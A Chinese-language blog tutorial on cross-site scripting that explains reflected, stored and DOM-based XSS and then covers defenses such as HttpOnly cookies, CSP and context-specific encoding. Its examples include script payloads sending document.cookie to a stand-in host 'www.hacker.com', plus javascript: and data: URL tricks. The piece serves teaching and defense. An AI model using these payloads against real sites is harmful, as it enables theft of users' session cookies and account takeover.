美文网首页
Web安全系列之XSS攻击

Web安全系列之XSS攻击

作者: 随心_Super | 来源:发表于2020-08-19 00:36 被阅读0次

    什么是XSS攻击

    XSS(Cross Site Scripting)中文名称是:跨站脚本攻击。XSS重点不在跨站,而在于执行的脚本。

    XSS的原理是指攻击者利用网站的安全漏洞,向web页面中插入一段恶意的script代码,当用户浏览网页时,执行脚本,攻击者就可以非法获取用户的敏感信息(如cookie、账号密码等),从而达到攻击的目的。

    XSS的类型

    从攻击代码的工作方式可以分为三个类型:

    1、反射型XSS。反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。

    2、存储型XSS。最直接的危害类型,跨站代码存储在服务器(数据库)。

    3、DOM-based XSS。客户端脚本处理逻辑导致的安全问题。

    存储型XSS将攻击代码存储在服务器上,属于持久型攻击。

    反射型XSS也被称为非持久型攻击。

    DOM-based XSS,页面本身不变,只是对DOM环境的恶意修改。

    反射型XSS

    反射性XSS的原理是:攻击者一般会通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。

    反射性XSS又可以叫做非持久性XSS。为什么叫反射型XSS呢?那是因为这种攻击方式的注入代码是从目标服务器通过错误信息,搜索结果等方式反射回来的,而为什么又叫非持久性XSS呢?那是因为这种攻击方式只有一次性。

    反射型XSS通常出现在恶意URL链接、网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

    反射型XSS的攻击步骤是:

    1、攻击者在正常的url后面加上恶意攻击代码,然后诱导用户点击

    2、当用户打开带有恶意代码的URL的时候,网站服务端将恶意代码从URL中取出,拼接在html中并且返回给浏览器端。

    3、用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。

    4、攻击者通过恶意代码来窃取到用户数据并发送到攻击者的网站。攻击者会获取到比如cookie等信息,然后使用该信息来冒充合法用户的行为,调用目标网站接口执行攻击等操作。

    1.png

    示例:用户打开了一个攻击者拼接的恶意链接,攻击者获取到用户的cookie

    http://www.A.com 为正常网址

    http://www.hacker.com 为攻击者的网址

    简单粗暴型(直接把用户cookie加在url地址上)

    http://www.A.com?name=<script src='http://www.hacker.com?getCookie.php?joke=document.cookie'></script>
    
    

    更加隐蔽型(增加一层伪装)

    http://www.A.com?name=<script src='http://www.hacker.com/joke.js'></script>
    
    // joke.js
    var img = document.createElement('img');
    img.width = 0;
    img.height = 0;
    img.src='http://www.hacker.com?getCookie.php?joke=encodeURIComponent(document.cookie)'
    

    存储型XSS

    存储型XSS的原理是:攻击者将XSS代码提交并存储到服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和JS解析执行,XSS攻击就发生了。

    存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

    存储型XSS的攻击步骤是:

    1、攻击者将恶意代码提交到目标网站数据库中

    2、用户打开目标网站后,网站服务器将恶意代码从数据库中取出,然后拼接到html中,返回到用户浏览器中

    3、用户浏览器解析html页面,其中的恶意代码也会执行

    4、恶意代码执行后,攻击者拿到用户的敏感数据或者冒充用户进行违法操作等

    2.png

    示例:
    1、发一篇文章,里面包含了恶意脚本

    真赞啊<script src='http://www.hacker.com?name=document.cookie'></script>
    

    2、后端没有对文章进行过滤,直接保存文章内容到数据库。

    3、其他用户看这篇文章的时候,包含的恶意脚本就会执行。

    DOM-based XSS

    DOM XSS 是基于文档对象模型的XSS。

    DOM-based XSS的原理是:基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。

    在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。

    DOM-based XSS攻击步骤是:

    1、攻击者构造出带有恶意代码的URL,并诱导用户点击。

    2、用户打开带有恶意代码的URL。

    3、用户浏览器收到响应后解析执行。前端使用js取出url中的恶意代码并执行。

    4、执行时,恶意代码窃取用户数据并发送到攻击者的网站中,那么攻击者网站拿到这些数据去冒充用户的行为操作,调用目标网站接口执行攻击者一些操作。

    4.png

    从流程图来看,反射型和DOM型流程基本相同,那他们有什么区别呢?

    下面引用OWASP的一段话

    In order to understand DOM based XSS, one needs to see the fundamental difference between Reflected and Stored XSS when compared to DOM based XSS. The primary difference is where the attack is injected into the application.

    Reflected and Stored XSS are server side injection issues while DOM based XSS is a client (browser) side injection issue.

    为了理解DOM based XSS, 需要先了解反射型和存储型XSS 与 DOM based XSS基本的不同之处。主要的不同就是注入的攻击是从哪里来的。

    反射型和存储型XSS是服务端注入脚本,而DOM based XSS是客户端(浏览器)注入脚本

    DOM-based XSS的来源(XSS代码从哪里进来的)主要有4类:

    1、基于URL的来源。

    6.png

    2、基于导航的来源。

    7.png

    3、基于通信的来源

    10.png

    4、基于存储的来源

    8.png

    DOM-based XSS的接收器(如何执行XSS代码)主要有3类:

    1、作为JS代码直接执行

    11.png

    2、作为跳转链接

    12.png

    3、直接以HTML形式渲染

    13.png

    下面是DOM-based XSS的来源(XSS代码从哪里进来的)以及接收器(如何处理XSS代码)的概览图

    5.png

    了解更多详情

    XSS攻击如何防御

    浏览器层面

    1、cookie安全策略-HttpOnly

    XSS攻击能够窃取到用户cookie的主要原因:js脚本可以通过document.cookie读取用户cookie信息。

    在cookie中设置HttpOnly属性,通过js脚本就无法读取cookie信息;这样就可以有效地防止XSS攻击中对cookie的窃取。

    HttpOnly用法示例:

    response.setHeader("Set-Cookie", "user=test;Path=/;HttpOnly");
    

    2、X-XSS-Protection设置(不推荐使用)

    HTTP响应头 X-XSS-Protection 是部分浏览器的一个特性,当检测到XSS攻击时,浏览器将停止加载页面。

    X-XSS-Protection可以防御的手段有限,而且随着不断使用,也逐渐暴露了一些问题

    有趣的是,原来支持该属性的大部分浏览器目前已经弃用该属性。所以,该属性了解即可,不推荐使用;更推荐的是下面的内容安全策略(CSP)。

    14.png

    3、开启CSP网页安全政策

    CSP(Content-Security-Policy):内容安全策略,是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。

    CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

    目前绝大多数的浏览器都已经支持CSP。

    启用CSP有两种方式:

    1、设置HTTP 响应头

    Content-Security-Policy: default-src 'self'
    

    2、HTML中的meta标签

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
    

    更多详情可参考MDN

    代码层面(输入检查,输出检查)

    输入检查

    输入检查,在很多时候也被用于格式检查。例如,用户在网站注册是填写的用户名,会被要求只能是字母、数字的组合。 ”hello678“是一个合法的用户名,而"hello#*("就是一个非法的用户名。

    在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如 <、>、 单引号', 双引号'',等。如果发现存在特殊字符,则讲这些字符过滤或者编码。

    输入检查的逻辑,必须放在服务端来实现。如果只是客户端使用JavaScript进行输入检查,很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务端代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。

    输出检查

    一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击

    下面列举了常见的输出检查规则

    1、XSS防御HTML

    HTML代码中至少转化以下字符

    编码规则参考HTML字符实体

     & --> &amp;
     < --> &lt;
     > --> &gt;
     " --> &quot;
     ' --> &#x27;  不推荐使用&apos; 
     / --> &#x2F;
    
    

    2、XSS防御HTML Attribute

    除了字母数字字符外,请使用 &#xHH;(HH代表十六进制表示) 格式转义ASCII值小于256的所有字符

    3、XSS防御之JavaScript

    除了字母数字字符外,请使用 \xHH;(HH代表十六进制表示) 格式转义ASCII值小于256的所有字符

    4、XSS防御之CSS

    除了字母数字字符外,请使用 \uHH;(HH代表十六进制表示) 格式转义ASCII值小于256的所有字符

    5、XSS防御之URL

    在地址中输出比较复杂,大致分为两种情况:

    一是 在URL的path(路径)或者search(参数)中输出,使用URLEncode(通常是调用encodeURI或者encodeURIComponent)即可。URLEncode会将字符转换为 ”%HH“格式。比如空格就是 "%20" ;"<" 就是 "%3C"。

    二是 整个URL被用户控制,这是URL的Protocal 和
    Host部分不能使用URLEncode,否则会改变URL的语义。

    在Protocal 和 Host 中,如果使用严格的URLEncode函数, 则会把”:/“、”.“等都编码掉。

    这个时候攻击者可能会构造伪协议执行代码, 如”javascript“、”vbscript“、”dataURL“等。

    例如:

    //javascript
    <a href="javascript:alert(1)"></a>
    
    // dataURL
    <a href="data:text/html;base64,PHNjcml...="></a>
    

    6、XSS防御之富文本

    首先富文本是什么?

    富文本就是一大段的HTML代码。比如我们写邮件时给字体添加各种样式,其本质就是一大段的HTML代码。

    15.png 16.png

    富文本不能单纯的把字符单纯的编码,因为富文本不但要防御XSS攻击,又要保留HTML格式。

    要处理富文本有两种解决思路:

    1、黑名单。其实就是把HTML中可能有危险的标签和属性过滤掉。

    优点:实现相对简单,只需要按照正则去匹配就可以。

    缺点:HTML中的标签和属性太多了,稍不注意就有可能遗漏一些标签或属性,产生漏洞。

    2、白名单。保留指定的标签和属性,即只有白名单上有的标签和属性才可以解析,不在白名单上的统统进行编码或转义。

    优点:更加精准的配置。

    缺点:实现起来比较麻烦。

    实现思路:需要先将HTML解析成数据结构,然后对这个数据结构进行过滤,过滤完成后再组装成HTML

    为了避免遗漏,应该使用白名单,避免使用黑名单。

    7、防御DOM-based XSS

    DOM-based XSS 是一种比较特别的XSS漏洞,前文提到的几种防御方法都不太适用,需要特别对待。

    看下面的例子

    初始的攻击代码

    <script>
        var a = "#' onclick = alert(1)//";
        document.write("<a href='" + a + "'>test</a>")
    </script>
    

    结果点击test,弹出1

    假设为了防御XSS,对变量采取了javascriptEncode,如下

     var a = "\x23\x27\x20onclick\x20\x3d\x20alert\x281\x29\x2f\x2f";
     document.write("<a href='" + a + "'>test</a>")
    

    编码之后结果还是弹出了1

    原因在于document.write输出数据到HTML页面时,浏览器重新渲染了页面。在<script></script>标签执行时,已经对变量x进行了解码,其后document.write再运行时,参数就变成了

    <a href="#" onclick="alert(1)//'">test</a>
    

    XSS也就产生了。

    防御方法

    变量输出到<script>时,先执行一次javascriptEncode编码

    然后在document.write输出到HTML页面时,根据具体情况;如果输出到事件或者脚本,则再进行一次javascriptEncode;如果输出到HTML内容或者属性,则要做一次HTMLEncode

    总结

    XSS攻击分为三种:反射型XSS、存储型XSS和DOM-based XSS

    针对XSS的防御,必须遵循的准则就是:
    不要相信用户输入的任何东西,不要将用户输入的数据变为代码执行。

    XSS的具体的防御措施:输入输出检查。

    参考文章:
    https://www.cnblogs.com/tugenhua0707/p/10909284.html
    https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
    https://domgo.at/cxss/sources/somevalue?param1=paramvalue#hashvalue
    https://developer.mozilla.org/zh-CN/docs/Glossary/Cross-site_scripting
    书籍《白帽子讲Web安全》

    相关文章

      网友评论

          本文标题:Web安全系列之XSS攻击

          本文链接:https://www.haomeiwen.com/subject/uxwljktx.html